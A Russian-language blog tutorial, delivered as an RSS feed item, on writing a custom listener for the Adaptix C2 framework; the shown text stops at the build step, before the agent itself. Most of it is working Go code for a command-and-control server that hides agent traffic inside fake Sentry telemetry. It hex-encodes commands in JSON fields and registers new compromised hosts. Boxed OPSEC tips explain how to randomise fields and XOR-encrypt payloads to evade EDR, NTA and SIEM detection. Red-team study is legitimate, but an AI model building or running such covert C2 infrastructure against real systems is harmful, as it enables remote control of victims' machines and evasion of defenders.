<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Magnum Malum</title><generator>teletype.in</generator><description><![CDATA[Information Security Specialist]]></description><image><url>https://img3.teletype.in/files/67/69/676904e0-08c2-4527-bfca-939915f8ab49.png</url><title>Magnum Malum</title><link>https://teletype.in/@magnummalum</link></image><link>https://teletype.in/@magnummalum?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=magnummalum</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/magnummalum?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/magnummalum?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Sat, 25 Apr 2026 17:36:14 GMT</pubDate><lastBuildDate>Sat, 25 Apr 2026 17:36:14 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@magnummalum/adaptixc2-create-agent</guid><link>https://teletype.in/@magnummalum/adaptixc2-create-agent?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=magnummalum</link><comments>https://teletype.in/@magnummalum/adaptixc2-create-agent?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=magnummalum#comments</comments><dc:creator>magnummalum</dc:creator><title>Создаём агента для Adaptix C2</title><pubDate>Sun, 16 Nov 2025 16:34:01 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/e3/1d/e31dc345-935d-4db3-9311-e322d0576751.png"></media:content><category>c2</category><description><![CDATA[<img src="https://img1.teletype.in/files/0b/e7/0be72342-2284-4b55-9461-ede1cd555613.png"></img>Мой любимый C2 фреймворк, Adaptix - в последнее время набирает всё большую популярность. В этой статье мы рассмотрим как создать нового или адаптировать существующего агента под Adaptix C2.]]></description><content:encoded><![CDATA[
  <nav>
    <ul>
      <li class="m_level_1"><a href="#y6LF">Что мы будем делать</a></li>
      <li class="m_level_2"><a href="#XZ8H">Создаём листенер</a></li>
      <li class="m_level_2"><a href="#d75h">Подготавливаем окружение</a></li>
      <li class="m_level_2"><a href="#jHJz">Создаём объект листенера</a></li>
      <li class="m_level_2"><a href="#W2Ol">Определяем протокол общения</a></li>
      <li class="m_level_2"><a href="#tRVe">Интерфейс листенера</a></li>
      <li class="m_level_2"><a href="#WLK2">Код для работы с листенером</a></li>
      <li class="m_level_2"><a href="#epPk">Собираем листенер</a></li>
      <li class="m_level_1"><a href="#vWNp">Создаём агента</a></li>
      <li class="m_level_2"><a href="#UXeQ">Реализуем функции в агенте</a></li>
      <li class="m_level_2"><a href="#ydpW">Добавляем оставшиеся функции</a></li>
    </ul>
  </nav>
  <p id="achu">Мой любимый C2 фреймворк, <a href="http://github.com/Adaptix-Framework" target="_blank">Adaptix </a>- в последнее время набирает всё большую популярность. В этой статье мы рассмотрим как создать нового или адаптировать существующего агента под Adaptix C2. </p>
  <p id="sByr">Adaptix C2 выделяется среди фреймворков не только красивым и удобным интерфейсом, но и лёгкостью расширения. Добавлять BOF, агентов или листенеров достаточно просто - и в этой заметке мы наглядно это рассмотрим.</p>
  <p id="qjvz">Перед началом, немного похвастаюсь своим вкладом в проект (ведь если сам себя не похвалишь..)):</p>
  <ul id="0oz4">
    <li id="OFuJ">Сделал Extender (BOF) для SAM hashdump (<a href="https://github.com/Adaptix-Framework/Extension-Kit/tree/main/Creds-BOF/hashdump" target="_blank">https://github.com/Adaptix-Framework/Extension-Kit/tree/main/Creds-BOF/hashdump</a>)</li>
    <li id="TNGs">Сделал Extender (BOF) для PSEXEC (<a href="https://github.com/Adaptix-Framework/Extension-Kit/tree/main/LateralMovement-BOF/psexec" target="_blank">https://github.com/Adaptix-Framework/Extension-Kit/tree/main/LateralMovement-BOF/psexec</a>)</li>
    <li id="hTAt">+обнаружил на ранней стадии разработке command injection и пару проблем работы с BOF&#x27;ами</li>
  </ul>
  <p id="r4Rd"></p>
  <p id="1Lql">Статья писалась для Adaptix v0.10 - так что какие-то моменты могут измениться в будущем (пишите об этом в комменты или личку, я обновлю заметку).</p>
  <p id="iGVH">Не будем особо тянуть - сразу к делу:</p>
  <h2 id="y6LF">Что мы будем делать</h2>
  <p id="h1zf">Для удобства разработки, писать агента мы будем на PowerShell (и работать он будет только под Windows), а в качестве протокола для листенера будем использовать HTTP, замаскированный под телеметрию Sentry. Чтобы не усложнять разработку, остановимся на следующем функционале:</p>
  <ul id="ryiD">
    <li id="ebFO">Запуск программ (run)</li>
    <li id="Zdnd">Работа с директориями и файлами (ls/cd/cat)</li>
  </ul>
  <p id="NrIn">Туннели, BOFы, интерактивные терминалы и прочие фишки можете попробовать добавить самостоятельно.</p>
  <p id="PFeY">Первым делом ставим Adaptix C2 (если у вас он не стоит). Как это сделать подробно описано в <a href="https://adaptix-framework.gitbook.io/adaptix-framework/adaptix-c2/getting-starting/installation" target="_blank">Wiki</a></p>
  <section style="background-color:hsl(hsl(55,  86%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="z0rP">Создание агента требует некоторых навыков в разработке, особенно знания Golang. Без этих знаний разобраться в теме может быть сложно.</p>
  </section>
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="CxPG">OPSEC: Использование HTTP (без S), и реализация методов &quot;в лоб&quot;, будет легко палиться как аналитиками, так и EDR/NTA/SIEM. Код в статье предназначен только для учебных целей!</p>
  </section>
  <h3 id="XZ8H">Создаём листенер</h3>
  <p id="viVm">Для начала, склонируем репозиторий с шаблонами для разработки (<a href="https://github.com/Adaptix-Framework/templates-extender" target="_blank">https://github.com/Adaptix-Framework/templates-extender</a>):</p>
  <pre id="hHYJ" data-lang="bash">git clone https://github.com/Adaptix-Framework/templates-extender
cd templates-extender</pre>
  <p id="6PRc">Папка, в которой будет лежать наш Listener - listener_template_external.</p>
  <p id="QkTW">Я буду следовать той же структуре файлов, что и в оригинальных Extender у Adaptix C2, и создам файл pl_http.go для реализации самого листенера.</p>
  <figure id="5sTW" class="m_original">
    <img src="https://img3.teletype.in/files/a3/e3/a3e33313-b0fd-4072-a5c9-aa21d56f5778.png" width="1120" />
    <figcaption>Структура работы листенера</figcaption>
  </figure>
  <p id="vDom">Как видно по схеме, файл pl_listener в такой структуре кода предоставляет унифицированный интерфейс для работы с объектом листенера (код для которого будет лежать в pl_http.go).</p>
  <p id="uWYm">Теперь пробежимся по файлам которые у нас есть в директории:</p>
  <pre id="njLh">ax_config.axs - Определяет как будет выглядеть менюшка создания нашего листенера
config.json - Конфигурация нашего листенера (имя, путь до файлов, ..)
go.mod - Стандартный файл golang с зависимостями
go.sum
Makefile - Файл который определяет способ сборки extender
pl_http.go - Тут мы будем писать код листенера (как слушать, как формировать пакеты, итд)
pl_listener.go - Тут шаблонный код для управления листенером (создание/остановка)
pl_main.go - Этот файл мы не меняем, шаблонный код для работы Extender</pre>
  <h3 id="d75h">Подготавливаем окружение</h3>
  <p id="qwIy">До начала работы с проектом, в go.mod указываем имя модуля:</p>
  <figure id="ib5B" class="m_original">
    <img src="https://img3.teletype.in/files/a8/6c/a86cff6a-5efe-47b1-aea9-661f69fe3b79.png" width="644" />
  </figure>
  <p id="yEip">Кроме того, чтобы наш Listener установился как плагин для сервера, нужно указать правильные версии библиотек. Скопируйте содержимое go.mod из любого оригинального листенера Adaptix (Я взял <a href="https://github.com/Adaptix-Framework/AdaptixC2/blob/a471dcaa016943260948030632acd5f78ea7d1b4/Extenders/beacon_listener_http/go.mod" target="_blank">beacon_listener_http</a>), и вставьте в свой проект. В моём случае это были следующие строки (напомню, я использую Adaptix v0.10):</p>
  <pre id="rZ4U" data-lang="go">require (
        github.com/Adaptix-Framework/axc2 v0.9.0
        github.com/gin-gonic/gin v1.11.0
)

require (
        github.com/bytedance/gopkg v0.1.3 // indirect
        github.com/bytedance/sonic v1.14.1 // indirect
        github.com/bytedance/sonic/loader v0.3.0 // indirect
        github.com/cloudwego/base64x v0.1.6 // indirect
        github.com/gabriel-vasile/mimetype v1.4.10 // indirect
        github.com/gin-contrib/sse v1.1.0 // indirect
        github.com/go-playground/locales v0.14.1 // indirect
        github.com/go-playground/universal-translator v0.18.1 // indirect
        github.com/go-playground/validator/v10 v10.27.0 // indirect
        github.com/goccy/go-json v0.10.5 // indirect
        github.com/goccy/go-yaml v1.18.0 // indirect
        github.com/json-iterator/go v1.1.12 // indirect
        github.com/klauspost/cpuid/v2 v2.3.0 // indirect
        github.com/leodido/go-urn v1.4.0 // indirect
        github.com/mattn/go-isatty v0.0.20 // indirect
        github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
        github.com/modern-go/reflect2 v1.0.2 // indirect
        github.com/pelletier/go-toml/v2 v2.2.4 // indirect
        github.com/quic-go/qpack v0.5.1 // indirect
        github.com/quic-go/quic-go v0.54.1 // indirect
        github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
        github.com/ugorji/go/codec v1.3.0 // indirect
        go.uber.org/mock v0.6.0 // indirect
        golang.org/x/arch v0.21.0 // indirect
        golang.org/x/crypto v0.42.0 // indirect
        golang.org/x/mod v0.28.0 // indirect
        golang.org/x/net v0.44.0 // indirect
        golang.org/x/sync v0.17.0 // indirect
        golang.org/x/sys v0.36.0 // indirect
        golang.org/x/text v0.29.0 // indirect
        golang.org/x/tools v0.37.0 // indirect
        google.golang.org/protobuf v1.36.10 // indirect
)
</pre>
  <p id="ytrC">Подгрузите модули:</p>
  <pre id="NBzB" data-lang="bash">go mod tidy</pre>
  <h3 id="jHJz">Создаём объект листенера</h3>
  <p id="XMgB">Теперь приступим к написанию кода. Сперва создадим структуру для настроек листенера. Наш листенер достаточно простой, поэтому полей будет мало:</p>
  <pre id="VukC" data-lang="go">type HTTPConfig struct {
	HostBind           string &#x60;json:&quot;host_bind&quot;&#x60;
	PortBind           int    &#x60;json:&quot;port_bind&quot;&#x60;
	CallbackAddress string &#x60;json:&quot;callback_address&quot;&#x60;
}</pre>
  <p id="G0Sn"><strong>HostBind </strong>- На каком адресе листенер будет слушать<br /><strong>PortBind </strong>- На каком порту листенер будет слушать<br /><strong>CallbackAddress </strong>- Адрес, по которому агент будет стучаться на сервер. Может быть равен HostBind, а может быть и не равен - например если используем Redirector</p>
  <p id="QHG5">Теперь структуру для самого листенера:</p>
  <pre id="UaCq" data-lang="go">type HTTP struct {
	GinEngine *gin.Engine
	Server    *http.Server
	Config    HTTPConfig
	Name      string
	Active    bool
}</pre>
  <p id="Vl2e">Определим как запускается наш листенер:</p>
  <pre id="bwfr" data-lang="go">func (handler *HTTP) Start(ts Teamserver) error {
	var err error = nil

	// Настраиваем Gin
	gin.SetMode(gin.ReleaseMode)
	router := gin.New()

	// Привязываем наш обработчик запросов к пути
	router.POST(&quot;/api/:id/envelope&quot;, handler.processRequest)

	// Инициализируем статус листенера
	handler.Active = true

	// Создаём HTTP сервер
	handler.Server = &amp;http.Server{
		Addr:    fmt.Sprintf(&quot;%s:%d&quot;, handler.Config.HostBind, handler.Config.PortBind),
		Handler: router,
	}

	fmt.Printf(&quot;   Started listener: http://%s:%d\n&quot;, handler.Config.HostBind, handler.Config.PortBind)

	// В отдельной горутине запускаем наш HTTP-сервер
	go func() {
		err = handler.Server.ListenAndServe()
		if err != nil &amp;&amp; !errors.Is(err, http.ErrServerClosed) {
			fmt.Printf(&quot;Error starting HTTP server: %v\n&quot;, err)
			return
		}
		handler.Active = true
	}()

	// Немного ждём, чтобы сервер успел подняться
	time.Sleep(500 * time.Millisecond)
	return err
}</pre>
  <p id="tWPx">Код достаточно несложный. Если вам захочется добавить SSL, можно ознакомиться с оригинальным листенером <a href="https://github.com/Adaptix-Framework/AdaptixC2/blob/main/Extenders/beacon_listener_http/pl_http.go" target="_blank">BeaconHTTP</a> - там он есть.</p>
  <p id="YJko">Cделаем возможность останавливать листенер:</p>
  <pre id="LH1p" data-lang="go">func (handler *HTTP) Stop() error {
	var (
		ctx    context.Context
		cancel context.CancelFunc
		err    error = nil
	)

	ctx, cancel = context.WithTimeout(context.Background(), 3*time.Second)
	defer cancel()

	err = handler.Server.Shutdown(ctx)
	return err
}</pre>
  <h3 id="W2Ol">Определяем протокол общения</h3>
  <p id="8sXO">Внимательные уже могли заметить, что ранее мы повесили на наш путь &quot;/api/../envelope&quot; функцию <code>processRequest</code>. Эта функция и будет содержать саму суть листенера - способ обработки запросов от агентов.</p>
  <p id="DzCL">Перед тем как продолжить писать код, взглянем на типичный запрос на Sentry:</p>
  <pre id="WrF0">{&quot;event_id&quot;:&quot;a1b2c3d4e5f6g7h8&quot;,&quot;sent_at&quot;:&quot;2025-01-01T00:00:00.000Z&quot;,&quot;sdk&quot;:{&quot;name&quot;:&quot;sentry.javascript.browser&quot;,&quot;version&quot;:&quot;7.0.0&quot;}}
{&quot;type&quot;:&quot;transaction&quot;}
{&quot;contexts&quot;:{&quot;trace&quot;:{&quot;trace_id&quot;:&quot;trace123456789abc&quot;,&quot;span_id&quot;:&quot;span123456789abc&quot;,&quot;op&quot;:&quot;pageload&quot;,&quot;description&quot;:&quot;Page load transaction for homepage&quot;}},&quot;spans&quot;:[{&quot;span_id&quot;:&quot;span987654321def&quot;,&quot;op&quot;:&quot;http.client&quot;,&quot;description&quot;:&quot;GET /api/users - Fetch user data&quot;,&quot;start_timestamp&quot;:1704067200.000,&quot;timestamp&quot;:1704067200.100,&quot;trace_id&quot;:&quot;trace123456789abc&quot;}],&quot;start_timestamp&quot;:1704067200.000,&quot;timestamp&quot;:1704067201.000,&quot;transaction&quot;:&quot;/home&quot;,&quot;type&quot;:&quot;transaction&quot;,&quot;platform&quot;:&quot;javascript&quot;}</pre>
  <p id="p1sI">Для передачи данных, я выбрал поле &quot;description&quot; в &quot;span&quot; - в него агент будет запихивать данные для передачи.</p>
  <p id="axfm">Ответ от сервера Sentry обычно содержит только одно поле - &quot;id&quot;. За неимением лучшего, будем использовать его, а пейлоад закодируем в HEX.</p>
  <p id="xStj">Для передачи HeartBeat (данных о конфигурации агента), будем использовать поле &quot;event_id&quot;:</p>
  <figure id="UxpR" class="m_original">
    <img src="https://img1.teletype.in/files/06/07/060701d2-d274-4670-9046-29c4b1d71d35.png" width="1082" />
  </figure>
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="RqNU">OPSEC: Для такого запроса очень легко разработать сигнатуры, из-за статичных полей (например, trace_id) - поэтому их лучше рандомизировать. И сам пейлоад лучше шифровать - хотя бы двух-трёх байтовым XOR - чтобы сигнатуры HeartBeat и данных было сложнее анализировать</p>
  </section>
  <p id="gjWT">Таким образом, для получения данных из пакета от агента, нам нужно получить третью строку из POST-запроса, спарсить JSON и вытащить <code>.spans[0].description</code>.</p>
  <pre id="wh83" data-lang="go">func (handler *HTTP) processRequest(ctx *gin.Context) {
	var (
		ExternalIP   string
		err          error
		agentType    string
		agentId      string
		beat         []byte
		bodyData     []byte
		responseData []byte
	)

	// Получаем IP подключенного агента
	ExternalIP = strings.Split(ctx.Request.RemoteAddr, &quot;:&quot;)[0]

	// Парсим данные переданные агентом
	agentType, agentId, beat, bodyData, err = handler.parseBeatAndData(ctx)
	if err != nil {
		goto ERR
	}

	if !ModuleObject.ts.TsAgentIsExists(agentId) {
		_, err = ModuleObject.ts.TsAgentCreate(agentType, agentId, beat, handler.Name, ExternalIP, true)
		if err != nil {
			goto ERR
		}
	}

	_ = ModuleObject.ts.TsAgentSetTick(agentId)

	_ = ModuleObject.ts.TsAgentProcessData(agentId, bodyData)

	responseData, err = ModuleObject.ts.TsAgentGetHostedAll(agentId, 0x1900000) // 25 Mb

	if err != nil {
		goto ERR
	} else {
		hexEncodedResponseData := hex.EncodeToString(responseData)
		response := &#x60;{&quot;id&quot;: &quot;&#x60; + hexEncodedResponseData + &#x60;&quot;}&#x60;
		// Формируем ответ от сервера
		ctx.Writer.Header().Add(&quot;Content-Type&quot;, &quot;application/json&quot;)
		_, err = ctx.Writer.Write([]byte(response))
		if err != nil {
			// Если произошла ошибка, откидываем 404
			fmt.Println(&quot;Failed to write to request: &quot; + err.Error())
			ctx.Writer.WriteHeader(http.StatusNotFound)
			return
		}
	}

	ctx.AbortWithStatus(http.StatusOK)
	return

ERR:
	// Если произошла ошибка, откидываем 404
	fmt.Println(&quot;Error: &quot; + err.Error()) // Оставим временно для отладки
	ctx.Writer.WriteHeader(http.StatusNotFound)
}</pre>
  <p id="GNRD">Эта часть кода отвечает за приём данных и отправку сформированного пакета обратно <strong>в агента</strong>. Код для парсинга данных <strong>от агента</strong> (bodyData) вынесем в отдельную функцию (parseBeatAndData).</p>
  <pre id="NWtM" data-lang="go">type BeatLine struct {
	EventId string &#x60;json:&quot;event_id&quot;&#x60;
}

type DataLine struct {
	Spans []struct {
		Description string &#x60;json:&quot;description&quot;&#x60;
	} &#x60;json:&quot;spans&quot;&#x60;
}

func (handler *HTTP) parseBeatAndData(ctx *gin.Context) (string, string, []byte, []byte, error) {
	var (
		agentType uint
		agentId   uint
		agentInfo []byte
		bodyData  []byte
		err       error
		firstLine []byte
		thirdLine []byte
		agentData []byte
	)

	bodyData, err = io.ReadAll(ctx.Request.Body)
	if err != nil {
		return &quot;&quot;, &quot;&quot;, nil, nil, errors.New(&quot;missing POST data&quot;)
	}

	lines := bytes.Split(bodyData, []byte{&#x27;\n&#x27;})
	if len(lines) &lt; 3 {
		return &quot;&quot;, &quot;&quot;, nil, nil, errors.New(&quot;missing data - less than 3 lines&quot;)
	}
	firstLine = lines[0]
	thirdLine = lines[2]

	// Parse beat (first line of json -&gt; event_id)
	var beatLine BeatLine

	err = json.Unmarshal(firstLine, &amp;beatLine)
	if err != nil {
		return &quot;&quot;, &quot;&quot;, nil, nil, errors.New(&quot;failed decode beat&quot;)
	}

	agentInfoEncoded := beatLine.EventId

	agentInfo, err = hex.DecodeString(agentInfoEncoded)
	if err != nil {
		return &quot;&quot;, &quot;&quot;, nil, nil, errors.New(&quot;failed decode beat&quot;)
	}

	agentType = uint(binary.LittleEndian.Uint32(agentInfo[:4]))
	agentInfo = agentInfo[4:]
	agentId = uint(binary.LittleEndian.Uint32(agentInfo[:4]))
	agentInfo = agentInfo[4:]

	// Parse beat (first line of json -&gt; event_id)
	var dataLine DataLine

	err = json.Unmarshal(thirdLine, &amp;dataLine)
	if err != nil {

		return &quot;&quot;, &quot;&quot;, nil, nil, errors.New(&quot;failed decode data&quot;)
	}

	if len(dataLine.Spans) == 0 {
		return &quot;&quot;, &quot;&quot;, nil, nil, errors.New(&quot;failed decode data - no spans&quot;)
	}

	agentDataEncoded := dataLine.Spans[0].Description
	agentData, err = hex.DecodeString(agentDataEncoded)
	if err != nil {
		return &quot;&quot;, &quot;&quot;, nil, nil, errors.New(&quot;failed decode data&quot;)
	}

	return fmt.Sprintf(&quot;%08x&quot;, agentType), fmt.Sprintf(&quot;%08x&quot;, agentId), agentInfo, agentData, nil
}
</pre>
  <p id="ZRyT">Этот код можно условно представить в следующем виде:</p>
  <ol id="sxck">
    <li id="XYWr">Выделяем три линии из тела запроса, считывая их из тела запроса (ctx.Request.Body)</li>
    <li id="nE73">Парсим JSON из первой линии. Берём данные из поля &quot;event_id&quot;, декодируем из HEX и раскладываем по полям</li>
    <li id="s6Wu">Парсим JSON из третьей линии. Берём данные из поля &quot;.spans[0].description&quot;, декодируем из HEX и отдаём как ответ агента</li>
  </ol>
  <h3 id="tRVe">Интерфейс листенера</h3>
  <p id="3SV2">Создаём AxScript для меню (напомню, у нас используются только три поля для конфигурации листенера). Её я так же переделал из BeaconHTTP. Помните мы задавали json-тэги (<code>&#x60;json:&quot;host_bind&quot;&#x60;</code>) для параметров HTTPConfig? При создании формы AxScript, в &quot;container.put&quot; первым аргументом указываем именно это имя. AxScript передаст JSON с сериализованными полями на вход в наш pl_listener.go</p>
  <pre id="cHYR" data-lang="javascript">/// PaperShell HTTP listener

function ListenerUI(mode_create)
{
    // Host selector
    let labelHost = form.create_label(&quot;Host &amp; port (Bind):&quot;);
    let comboHostBind = form.create_combo();
    comboHostBind.setEnabled(mode_create)
    comboHostBind.clear();
    let addrs = ax.interfaces();
    for (let item of addrs) { comboHostBind.addItem(item); }

    // Port selector
    let spinPortBind = form.create_spin();
    spinPortBind.setRange(1, 65535);
    spinPortBind.setValue(8080);
    spinPortBind.setEnabled(mode_create)

    // Callback selector
    let labelCallback = form.create_label(&quot;Callback address:&quot;);
    let textCallback = form.create_textline();
    textCallback.setPlaceholder(&quot;192.168.1.1:8080&quot;);

    let container = form.create_container();
    container.put(&quot;host_bind&quot;, comboHostBind);
    container.put(&quot;port_bind&quot;, spinPortBind);
    container.put(&quot;callback_address&quot;, textCallback);

    let layout = form.create_gridlayout();
    let spacer1 = form.create_vspacer();
    let spacer2 = form.create_vspacer();

    layout.addWidget(spacer1, 0, 0, 1, 2);

    layout.addWidget(labelHost, 1, 0, 1, 2);
    layout.addWidget(comboHostBind, 2, 0, 1, 1);
    layout.addWidget(spinPortBind, 2, 1, 1, 1);

    layout.addWidget(labelCallback, 3, 0, 1, 2);
    layout.addWidget(textCallback, 4, 0, 1, 2);

    layout.addWidget(spacer2, 5, 0, 1, 2);

    let panel = form.create_panel();
    panel.setLayout(layout);

    return {
        ui_panel: panel,
        ui_container: container
    }
}
</pre>
  <p id="psLl">Создание формочки достаточно простое, но нужно учитывать следующие моменты:</p>
  <p id="zM3s"><code>container </code>- это объект который будет сериализовывать входные данные от инпутов. За отрисовку он не отвечает</p>
  <p id="Kf8W"><code>panel </code>- отвечает за отрисовку элементов. Чтобы расположить элементы в panel, понадобится layout.</p>
  <p id="HgxP">Больше информации про то как создавать менюшки есть в документации - <a href="https://adaptix-framework.gitbook.io/adaptix-framework/development/axscript/axform-type" target="_blank">https://adaptix-framework.gitbook.io/adaptix-framework/development/axscript/axform-type</a></p>
  <h3 id="WLK2">Код для работы с листенером</h3>
  <p id="hWbd">Теперь нам нужно написать код для создания, запуска, остановки листенера через плагин (в pl_listener.go). Создаем валидатор конфига:</p>
  <pre id="mAad" data-lang="go">func (m *ModuleExtender) HandlerListenerValid(data string) error {

	var (
		err  error
		conf HTTPConfig
	)

	// data - это данные из AxScript

	err = json.Unmarshal([]byte(data), &amp;conf)
	if err != nil {
		return err
	}

	if conf.HostBind == &quot;&quot; {
		return errors.New(&quot;HostBind is required&quot;)
	}

	if conf.PortBind &lt; 1 || conf.PortBind &gt; 65535 {
		return errors.New(&quot;PortBind must be in the range 1-65535&quot;)
	}

	if conf.CallbackAddress == &quot;&quot; {
		return errors.New(&quot;callback_address is required&quot;)
	}

	// Check callback address

	host, portStr, err := net.SplitHostPort(conf.CallbackAddress)
	if err != nil {
		return fmt.Errorf(&quot;Invalid address (cannot split host:port): %s\n&quot;, conf.CallbackAddress)
	}

	port, err := strconv.Atoi(portStr)
	if err != nil || port &lt; 1 || port &gt; 65535 {
		return fmt.Errorf(&quot;Invalid port: %s\n&quot;, conf.CallbackAddress)
	}

	ip := net.ParseIP(host)
	if ip == nil {
		if len(host) == 0 || len(host) &gt; 253 {
			return fmt.Errorf(&quot;Invalid host: %s\n&quot;, conf.CallbackAddress)
		}
		parts := strings.Split(host, &quot;.&quot;)
		for _, part := range parts {
			if len(part) == 0 || len(part) &gt; 63 {
				return fmt.Errorf(&quot;Invalid host: %s\n&quot;, conf.CallbackAddress)
			}
		}
	}

	return nil
}</pre>
  <p id="jd0I">В коде проверяем что IP-адрес, порт, и IP-адрес коллбэка валидные. </p>
  <p id="Dkok"></p>
  <p id="NAOA">Теперь пишем код для запуска нашего листенера. Этот код так же должен уметь парсить конфиг.</p>
  <pre id="ddJe" data-lang="go">func (m *ModuleExtender) HandlerCreateListenerDataAndStart(name string, configData string, listenerCustomData []byte) (adaptix.ListenerData, []byte, any, error) {
	var (
		listenerData adaptix.ListenerData // Это то, что будет отображаться в интерфейсе и использоваться агентом
		customdData  []byte
	)

	var (
		listener *HTTP
		conf     HTTPConfig
		err      error
	)

	// listenerCustomData может быть передана вместо конфига - если листенер стартует после перезапуска сервера

	if listenerCustomData == nil {
		// Парсим конфиг - он уже провалидирован, повторно не надо
		err = json.Unmarshal([]byte(configData), &amp;conf)
		if err != nil {
			return listenerData, customdData, listener, err
		}
	} else {
		// Парсим конфиг - он уже провалидирован, повторно не надо
		err = json.Unmarshal(listenerCustomData, &amp;conf)
		if err != nil {
			return listenerData, customdData, listener, err
		}
	}

	// Создаём листенер
	listener = &amp;HTTP{
		GinEngine: gin.New(),
		Name:      name,
		Config:    conf,
		Active:    false,
	}

	// Запускаем листенер
	err = listener.Start(m.ts)
	if err != nil {
		return listenerData, customdData, listener, err
	}

	listenerData = adaptix.ListenerData{
		BindHost:  listener.Config.HostBind,
		BindPort:  strconv.Itoa(listener.Config.PortBind),
		AgentAddr: listener.Config.CallbackAddress,
		Status:    &quot;Listen&quot;,
	}

	// Сохраняем конфиг в customdData
	var buffer bytes.Buffer
	err = json.NewEncoder(&amp;buffer).Encode(listener.Config)
	if err != nil {
		return listenerData, customdData, listener, nil
	}
	customdData = buffer.Bytes()

	return listenerData, customdData, listener, nil
}</pre>
  <p id="DIat"></p>
  <p id="hDV8">Аналогично для остановки листенера:</p>
  <pre id="4eC0" data-lang="go">func (m *ModuleExtender) HandlerListenerStop(name string, listenerObject any) (bool, error) {
	var (
		err error = nil
		ok  bool  = false
	)

	listener := listenerObject.(*HTTP) // Кастуем к нашему листенеру
	if listener.Name == name {
		err = listener.Stop()
		ok = true
	}

	return ok, err
}</pre>
  <p id="9cgI">Не уверен зачем происходит сверка имени, но она была в оригинальных плагинах Adaptix, поэтому оставим её</p>
  <p id="mmX0"></p>
  <p id="Do2j">Реализуем HandlerListenerGetProfile для извлечения конфига из уже созданного листенера:</p>
  <pre id="XDrF" data-lang="go">func (m *ModuleExtender) HandlerListenerGetProfile(name string, listenerObject any) ([]byte, bool) {
	var (
		object bytes.Buffer
		ok     bool = false
	)

	listener := listenerObject.(*HTTP)
	if listener.Name == name {
		_ = json.NewEncoder(&amp;object).Encode(listener.Config)
		ok = true
	}

	return object.Bytes(), ok
}</pre>
  <p id="JUCS"></p>
  <p id="UvLO">Осталось реализовать всего одну функцию для работоспособности листенера - редактирование данных:</p>
  <pre id="kzGd" data-lang="go">
func (m *ModuleExtender) HandlerEditListenerData(name string, listenerObject any, configData string) (adaptix.ListenerData, []byte, bool) {
	var (
		listenerData adaptix.ListenerData
		customdData  []byte
		ok           bool = false
		err          error
		conf         HTTPConfig
	)

	listener := listenerObject.(*HTTP)
	if listener.Name == name {
		// Parse config
		err = json.Unmarshal([]byte(configData), &amp;conf)
		if err != nil {
			return listenerData, customdData, false
		}

		// Copy from new config to listener
		listener.Config.CallbackAddress = conf.CallbackAddress
		listener.Config.HostBind = conf.HostBind
		listener.Config.PortBind = conf.PortBind

		listenerData = adaptix.ListenerData{
			BindHost:  listener.Config.HostBind,
			BindPort:  strconv.Itoa(listener.Config.PortBind),
			AgentAddr: listener.Config.CallbackAddress,
			Status:    &quot;Listen&quot;,
		}

		if !listener.Active {
			listenerData.Status = &quot;Closed&quot;
		}

		var buffer bytes.Buffer
		err = json.NewEncoder(&amp;buffer).Encode(listener.Config)
		if err != nil {
			return listenerData, customdData, false
		}
		customdData = buffer.Bytes()

		ok = true
	}

	return listenerData, customdData, ok
}</pre>
  <p id="xF4V">С самой простой частью закончили)) Код выше по большей части шаблонный, но его легко менять под свои требования - например сделать External C2 или реализовать общение через DNS.</p>
  <h3 id="epPk">Собираем листенер</h3>
  <p id="pZJ6">Теперь нам нужно отредактировать Makefile - вместо _LISTENER_ указать имя нашего листенера/агента. Я назвал его PaperShell:</p>
  <pre id="j4GQ" data-lang="makefile">all: clean
	@ echo &quot;    * Building listener_papershell_http plugin&quot;
	@ mkdir dist
	@ cp config.json ax_config.axs ./dist/
	@ go build -buildmode=plugin -ldflags=&quot;-s -w&quot; -o ./dist/papershell_http.so pl_main.go pl_listener.go pl_http.go
	@ echo &quot;      done...&quot;

clean:
	@ rm -rf dist
</pre>
  <p id="kj0P">Кроме того, на строчке с &quot;go build&quot;, нужно дописать все файлы которые нужны для компиляции - в нашем случае нужно добавить &quot;pl_http.go&quot;</p>
  <hr />
  <p id="p6p0">И меняем конфиг под наш листенер:</p>
  <pre id="f9LY" data-lang="javascript">{
  &quot;extender_type&quot;: &quot;listener&quot;,
  &quot;extender_file&quot;: &quot;papershell_http.so&quot;,
  &quot;ax_file&quot;: &quot;ax_config.axs&quot;,

  &quot;listener_name&quot;: &quot;PaperShellHTTP&quot;,
  &quot;listener_type&quot;: &quot;external&quot;,
  &quot;protocol&quot;: &quot;http&quot;
}</pre>
  <p id="Urtr"></p>
  <p id="EwbJ">Зальём листенер в Adaptix:</p>
  <pre id="uA01" data-lang="bash">cp -r ./dist ~/Tools/AdaptixC2/Extenders/listener_papershell_http</pre>
  <p id="8EWh">Собираем Extender&#x27;ы из папки AdaptixC2:</p>
  <pre id="uKiW" data-lang="bash">cd ~/Tools/AdaptixC2
make</pre>
  <p id="Ye4k"></p>
  <p id="Ik5y">Добавим экстендер в profile.json:</p>
  <figure id="FnVn" class="m_original">
    <img src="https://img2.teletype.in/files/db/27/db2773be-3645-4cd0-bcff-9d32456230b1.png" width="559" />
  </figure>
  <p id="all9">Проверяем листенер:</p>
  <figure id="w4Bq" class="m_original">
    <img src="https://img4.teletype.in/files/3e/12/3e122380-1a5f-498c-9f13-1a815757673d.png" width="1638" />
  </figure>
  <figure id="XIJt" class="m_original">
